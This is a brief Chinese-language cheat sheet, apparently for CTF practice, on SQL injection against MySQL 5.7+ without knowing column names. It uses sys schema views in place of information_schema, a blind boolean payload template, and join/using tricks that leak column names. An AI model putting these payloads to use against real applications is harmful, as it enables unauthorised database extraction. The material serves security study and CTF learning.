无列名注入
MYSQL 5.7以上
引入了新的sys(mysql自带的系统库),初始化时会自动创建sys库
包含1个表,100个视图,存储过程及函数共48个
sys里的视图主要分为两类,一类是正常以字母开头的,共52个,一类是以 x$ 开头的,共48个。字母开头的视图显示的是格式化数据,更易读,而 x$ 开头的视图适合工具采集数据,显示的是原始未处理过的数据。
sys.schema_auto_increment_columns 参考:https://www.docs4dev.com/docs/zh/mysql/5.7/reference/sys-schema-auto-increment-columns.html
该视图指示哪些 table 具有AUTO_INCREMENT
列,并提供有关这些列的信息,例如当前和最大列值以及使用率(已用值与可能值的比率)。默认情况下,行按使用率和最大列值的降序排序。
select table_schema from sys.schema_auto_increment_columns; //查数据库
select table_name from sys.schema_auto_increment_columns where table_schema = database(); //查表
对于x$schema_flattened_keys 参考:https://www.docs4dev.com/docs/zh/mysql/5.7/reference/sys-schema-redundant-indexes.html
(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(sys.x$schema_flattened_keys)where(TABLE_SCHEMA=database())),%d,1))>%d)
和information_schema一样的效果
参考:https://www.docs4dev.com/docs/zh/mysql/5.7/reference/sys-schema-table-statistics.html
schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database();
利用join获取列名(join在CTF中经常使用的思路)
select * from (select * from 表名 as a join 表名 as b)as c;
获取更多字段名和字段值 一列一列爆出来
select*from (select * from 表名 as a join 表名 b using(id,username,passwd,phone))c;